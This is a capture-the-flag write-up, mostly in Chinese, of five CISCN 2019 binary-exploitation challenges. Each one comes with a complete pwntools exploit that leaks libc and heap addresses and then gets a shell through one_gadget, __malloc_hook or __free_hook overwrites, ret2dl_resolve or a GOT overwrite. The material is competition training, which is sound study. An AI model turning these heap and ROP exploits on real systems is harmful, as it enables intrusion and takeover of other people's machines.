CISCN2019_PWN_writeup

PWN

your_pwn1

leak libc 地址, ret 到 one_gadget getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

def foo(p, idx, data = 0):
p.sendlineafter('index', str(idx))
p.recvuntil('(hex) ')
byte = int(p.recvline(False), 16) % 256
p.sendlineafter('new value', str(data) if data is not 0 else str(byte))
return byte

def leak_qword(p, idx):
ret = ''
for i in xrange(8):
byte = foo(p, idx+i)
ret += chr(byte)
return u64(ret)

def write_qword(p, idx, data):
for i in xrange(8):
foo(p, idx+i, ord(data[i]))


p = process('./pwn')
#p = remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com', 57856)
p.sendlineafter('name', 'cnss2019')


base = leak_qword(p, 632) - 0x20830 # libc_2.23 base address
# main rets to .text:0x20830 mov edi, eax | .text:0x20832 call exit

one_gadget = p64(base + 0xf1147) # generated by one_gadget
write_qword(p, 0x158, one_gadget) # rewrite ret addr


for i in xrange(2*8, 41): # leak and write, 2 * sizeof(qword) already looped
foo(p, 0)

p.sendlineafter('(yes/no)? ', 'yes') # yes or no does not matter, ret addr has been written to &one_gadget
p.interactive()

daily

拖进IDA,分析

漏洞点十分的明显,在remove函数里面,没有对idx做检测,所以可以达到任意地址free的效果

而且有show函数,那么leak就白送的

想法就是,先leak libc和heap的地址

libc地址用来算malloc_hook和Onegadget的真实地址,heap呢是方便攻击

攻击思路就是fastbin attack

可以在堆上伪造一个结构体,里面写上一个已经分配了的堆地址指针,使用任意地址free,

最后把堆块分配到__malloc_hook -0x23的地方,修改malloc_hook为oneGadget

触发,getshell! 撒花!

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

context.log_level='debug'

#sh=process('./pwn_new')
sh=remote('85c3e0fcae5e972af313488de60e8a5a.kr-lab.com', 58512)
libc=ELF('./libc.so')

def add(Len,context):
sh.recvuntil('choice:')
sh.sendline('2')
sh.recvuntil('of daily:')
sh.sendline(str(Len))
sh.recvuntil('you daily')
sh.send(context)

def show():
sh.recvuntil('choice:')
sh.sendline('1')

def dele(idx):
sh.recvuntil('choice:')
sh.sendline('4')
sh.recvuntil('of daily:')
sh.sendline(str(idx))

def change(idx,context):
sh.recvuntil('choice:')
sh.sendline('3')
sh.recvuntil('of daily:')
sh.sendline(str(idx))
sh.recvuntil('new daily')
sh.send(context)


add(136,'aaaa') #0
add(10,'bbbb') #1
add(136, 'bbbb')#2
add(10, 'bbbb') #3
dele(0) # x0
dele(2) # x2
add(136,'a') # 0


#leak->libc
show()
sh.recvuntil('0 : ')
libcAddr=u64(sh.recv(6).ljust(8,'\x00'))
log.success('libcAddr: {}'.format(hex(libcAddr)))

#leak->heap
change(0, 'a'*8)
show()
sh.recvuntil('aaaaaaaa')
heapAddr=u64(sh.recvuntil('1 : ',drop=True).ljust(8,'\x00'))
log.success('heapAddr: {}'.format(hex(heapAddr)))


add(0x68,'cccc') #2
add(0x68,'dddd') #4

#double free
dele(2) # x2
dele(4) # x4

#fake struct
payload1=p64(0)+p64(heapAddr+0x10)
change(0,payload1)

fakeIdx=(heapAddr-160-0x602060)/16

dele(fakeIdx)
libc.address=libcAddr-0x3c4b61
log.success('libc : {}'.format(hex(libcAddr-0x3c4b61)))
payload2=p64(libc.symbols['__malloc_hook']-0x23)
add(0x68,payload2) #2
add(0x68,'dddd') #4
add(0x68,'cccc') #5
payload3='a'*0x13+p64(libc.address+0xf02a4)
add(0x68,payload3) #6

#getshell
dele(6)
sh.interactive()

baby_pwn

高级ROP技巧,ret2_dl_runtime_resolve
但是……emmmm 好像是原题
https://ctftime.org/writeup/9537
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop/#_5
ctfwiki上的工具,改个偏移就过了……
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from roputils import *
from pwn import remote
from pwn import gdb
from pwn import context
r=remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com',33865)
context.log_level = 'debug'
rop = ROP('./pwn')
offset = 44
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

double

这个题也是标准的菜单题,主要是用的链表这个结构,在bss段有两个变量,分别是表头和表尾巴
最大的问题出在这里

1
2
3
4
5
6
7
8
9
if ( tail && !strcmp(tail->data, &data) )
{
ptr->index = v3->index + 1;
ptr->len = v3->len;
ptr->data = v3->data;
ptr->next = 0LL;
v3->next = ptr;
tail = ptr;
}

这个地方,如新的数据和尾巴的数据一样,那么就直接把尾巴的数据指针给新的,这样就有两个地方指向了这个堆块,释放了一个过后,还有另外一个地方可以控制这里,就形成了一个经典的UAF,同样,通过这种方法可以做leak
通过UAF去改一个表块,使他的data指针变成freehook的地址,最后改freehook为system
getshell!撒花

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context.log_level = 'debug'

#sh=process('./pwn_new')
sh=remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com',40002)
libc=ELF('./libc.so')
def add(context):
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil('data:')
sh.sendline(context)

def show(idx):
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil('index:')
sh.sendline(str(idx))

def edit(idx,context):
sh.recvuntil('>')
sh.sendline('3')
sh.recvuntil('index:')
sh.sendline(str(idx))
sh.sendline(context)

def dele(idx):
sh.recvuntil('>')
sh.sendline('4')
sh.recvuntil('index:')
sh.sendline(str(idx))

add('a'*0x88) #0
add('a'*0x88) #1
add('b'*0x20) #2
add('c'*0x10) #3
add('c'*0x10) #4

dele(0)
show(1)
sh.recvuntil(' ')
libcAddr=u64(sh.recv(6).ljust(8,'\x00'))
libcAddr=libcAddr-0x3c4b78
libc.address=libcAddr
log.success('libc : {}'.format(hex(libcAddr)))
add('d'*0x88) #5

dele(3)
dele(2)

add('e'*0x10) #6
add('g'*0x10) #7

payload=p32(0x7)+p32(0x10)+p64(libc.symbols['__free_hook'])
edit(4,payload)
systemAddr=p64(libc.symbols['system'])
edit(7,systemAddr)

add('/bin/sh') #8

sh.interactive()

最后手动free一下,触发

Virtual

这个题好玩,就是调着费劲,但是搞懂过后就顺理成章了
首先在mian函数里面,初始化了三个堆块

1
2
3
v5 = sub_4013B4(64LL);
v6 = sub_4013B4(128LL);
v7 = sub_4013B4(64LL);

分别是虚拟栈,第二个是存指令的,第三个是数据块

1
2
3
4
5
6
7
8
puts("Your program name:");
sub_401E14((__int64)s, 0x20u);
puts("Your instruction:");
sub_401E14((__int64)ptr, 0x400u);
sub_40161D(v6, ptr);
puts("Your stack data:");
sub_401E14((__int64)ptr, 0x400u);
sub_40151A(v5, ptr);

这一段是输入名字,输入指令,输入虚拟栈的数据,很明显可以知道这个是栈虚拟机

1
2
3
4
5
6
7
if ( (unsigned int)sub_401967(v6, v5, v7) )
{
puts("-------");
puts(s);
sub_4018CA(v5);
puts("-------");
}

这一段是执行指令,并且输出了名字
详细分析一下每个指令,发现load和save有问题

1
2
3
4
5
6
7
8
9
10
//load
if ( (unsigned int)sub_4014B4(a1, &v2) )
result = sub_40144E(a1, *(_QWORD *)(*(_QWORD *)a1 + 8 * (*(signed int *)(a1 + 12) + v2)));
else
result = 0LL;
//save
if ( !(unsigned int)sub_4014B4(a1, &v2) || !(unsigned int)sub_4014B4(a1, &v3) )
return 0LL;
*(_QWORD *)(8 * (*(signed int *)(a1 + 12) + v2) + *(_QWORD *)a1) = v3;
return 1LL;

这两个地方都没有对下标做验证,这样就有个越界读和越界写
那Ok了,思路很明确
调试的时候可以关掉ASLR,方便一些
越界读got表,算出system函数的位置,然后重新写puts的got表写成system
最后输入名字,这个明显故意给的,名字写’/bin/sh’,最后就可以getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level = 'debug'
context.aslr=False
sh=remote('a569f7135ca8ce99c68ccedd6f3a83fd.kr-lab.com',40003)

sh.recvuntil('name:')
sh.sendline('/bin/sh\x00')

# x /30gx 0x4056c0
# b *0x401d14
# b *0x401D98
date=[-3, #heapAddr
-0x404020, #puts_got
-1,
8,
-1,
-1,#offset1
0,
-172800, #system_offset
-1,
0,#offset2
]
instruct='push load push add push mul push push load div push add push load load push add push load push add save'

def getDate():
fuck=''
for i in date:
fuck+=str(i)
fuck+=' '
return fuck

sh.recvuntil('instruction:')
sh.sendline(instruct)
sh.recvuntil('stack data:')
#gdb.attach(sh, 'b*0x401332')
sh.sendline(getDate())

sh.interactive()